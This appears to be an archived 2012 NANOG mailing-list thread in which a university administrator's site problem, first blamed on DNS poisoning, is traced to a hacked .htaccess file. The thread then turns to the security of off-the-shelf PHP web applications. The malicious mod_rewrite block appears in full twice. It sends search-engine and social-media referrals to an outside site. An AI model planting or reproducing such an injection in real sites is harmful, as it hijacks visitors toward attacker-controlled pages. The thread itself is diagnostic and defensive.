#c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|alt
avista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysea
rch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|d
ogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditirel
and|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsea
rchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|
jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|l
ive|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlse
arch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|sea
rchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|s
uchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-onlin
e|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|
westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L] </IfModule> #/c3284d#
# # #
matthew black information technology services california state university, long beach
-----Original Message----- From: Jason Hellenthal [mailto:jhellenthal@dataix.net] Sent: Wednesday, June 27, 2012 6:26 AM To: Arturo Servin Cc: nanog@nanog.org Subject: Re: No DNS poisoning at Google (in case of trouble, blame the DNS)
What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded)
On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
It was not DNS issue, but it was a clear case on how community-support
helped.
Some of us may even learn some new tricks. :)
Regards, as
Sent from mobile device. Excuse brevity and typos.
On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <
bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the
evidence.
Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy.
-DR
--
- (2^(N-1))
-- Kyle Creyts
Information Assurance Professional BSidesDetroit Organizer
-- Kyle Creyts Information Assurance Professional BSidesDetroit Organizer
On 6/27/12 12:51 PM, Matthew Black wrote:
Ask and ye shall receive:
# more .htaccess (backup copy)
#c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|alt avista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysea rch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|d ogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditirel and|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsea rchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick| jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|l ive|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlse arch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|sea rchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|s uchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-onlin e|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche| westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L] </IfModule> #/c3284d#
# # #
matthew black information technology services california state university, long beach
-----Original Message----- From: Jason Hellenthal [mailto:jhellenthal@dataix.net] Sent: Wednesday, June 27, 2012 6:26 AM To: Arturo Servin Cc: nanog@nanog.org Subject: Re: No DNS poisoning at Google (in case of trouble, blame the DNS)
What would be nice is the to see the contents of the htaccess file (obviously with sensitive information excluded)
On Wed, Jun 27, 2012 at 10:14:12AM -0300, Arturo Servin wrote:
It was not DNS issue, but it was a clear case on how community-support helped.
Some of us may even learn some new tricks. :)
Regards, as
Sent from mobile device. Excuse brevity and typos.
On 27 Jun 2012, at 05:07, Daniel Rohan <drohan@gmail.com> wrote:
On Wed, Jun 27, 2012 at 10:50 AM, Stephane Bortzmeyer <bortzmeyer@nic.fr>wrote:
What made you think it can be a DNS cache poisoning (a very rare
event, despite what the media say) when there are many much more realistic possibilities (<troll>specially for a Web site written in PHP</troll>)?
What was the evidence pointing to a DNS problem?
It seems likely that he made a mistake in his analysis of the evidence. Something that could happen to anyone when operating outside of a comfort zone or having a bad day. Go easy.
-DR G' did they miss anyone in that list of referers :-)
Thanks for posting! -- Thank you, Robert Miller http://www.armoredpackets.com Twitter: @arch3angel
On 27 June 2012 09:50, Stephane Bortzmeyer <bortzmeyer@nic.fr> wrote:
(<troll>specially for a Web site written in PHP</troll>)?
We software makers have a problem, when a customer ask for a application, often theres a wen project that already do it ( for the most part is a round peg on a round hole). So a natural solution is to install this project and customize it to his needs (theme, perhaps some programming). The other option is to create a code from scratch (perhaps using a framework). If you create the code from scratch, it will be safe. A tree cant get a human virus, and a human can't get a tree virus. You are not unhackable, bad practices will byte you on the long term, but you don't see exploits made specifically for this custom made code daily. Too bad, the features the code allow will be few, limited to the budget to the project. Programming sucks, and generate code and bugs, and everybody suffer for it. This option suck. If you use these project that already do 99% of what the customer need, plus a 120% the customer not need (and perhaps don't want). The code quality will be normally be good, with **horrible** exceptions. But sooner or later, (weeks) there will be exploits for this codebase, to hack the site in horrible ways. If the customer don't pay maintenance and dont do the maintenance himself the code will turn comically outdated. Hacking the site will be easy for childrens age 5 and high. Maintenance suck. This option suck. All options suck. Your browser will call you a idiot if you try to browse with a outdated version. But web projects are not this rude on owners. So you have people browsing forums in Chrome 18, where the forums software is a version of 2004 ("heavily customized", but this will not save you). Then a cracker comes, uses a know exploit from 2008, and download 1.2 million unhashed passwords. Where 98% of these passwords are reused on facebook, twitter, linkedin and gmail. -- -- ℱin del ℳensaje.
On 28 Jun 2012, at 08:05, Tei wrote:
On 27 June 2012 09:50, Stephane Bortzmeyer <bortzmeyer@nic.fr> wrote:
(<troll>specially for a Web site written in PHP</troll>)?
We software makers have a problem, when a customer ask for a application, often theres a wen project that already do it ( for the most part is a round peg on a round hole). So a natural solution is to install this project and customize it to his needs (theme, perhaps some programming). The other option is to create a code from scratch (perhaps using a framework).
If you create the code from scratch, it will be safe.
I would challenge this. This is not true unless you follow very strict rules to make your code safe, and even then, you are not completely safe.
A tree cant get a human virus, and a human can't get a tree virus. You are not unhackable, bad practices will byte you on the long term, but you don't see exploits made specifically for this custom made code daily.
Think about sql injection, they are not only to specific platforms but to general bad programming practices. <snip the rest, it just … sucks > =) Regards, as
On 28 June 2012 14:48, Arturo Servin <arturo.servin@gmail.com> wrote: ...
Think about sql injection, they are not only to specific platforms but to general bad programming practices.
If you are already a good programmer, writing code that is safe against sql inyections is trivial. So is not a real problem, and thats why I don't mention it. A real problem is one that you can't avoid by just walking one step to the left. But I support that you champion it, and I fully agree bad code is possible and some people do write it. We don't really disagree. -- -- ℱin del ℳensaje.
On 6/28/2012 6:05 AM, Tei wrote:
If you use these project that already do 99% of what the customer need, plus a 120% the customer not need (and perhaps don't want). The code quality will be normally be good, with **horrible** exceptions. But sooner or later, (weeks) there will be exploits for this codebase, to hack the site in horrible ways. If the customer don't pay maintenance and dont do the maintenance himself the code will turn comically outdated. Hacking the site will be easy for childrens age 5 and high. Maintenance suck. This option suck.
All options suck.
That's why there are things like mod_security and other application level firewalls. After exploits have CVE numbers, so do the fixes to the firewalls. And, due to the cost of custom software, and ease of use of push button install Wordpress, this isn't likely to change soon. It would be nice if WP/Joomla/etc force auto-updated by default, at least for sec fixes.. Ken Pacific.Net
participants (15)
-
AP NANOG -
Arturo Servin -
Daniel Rohan -
Ishmael Rufus -
Jason Hellenthal -
Ken A -
Kevin Day -
Kyle Creyts -
Landon Stewart -
Matthew Black -
Michael J Wise -
Ryan Rawdon -
Sadiq Saif -
Stephane Bortzmeyer -
Tei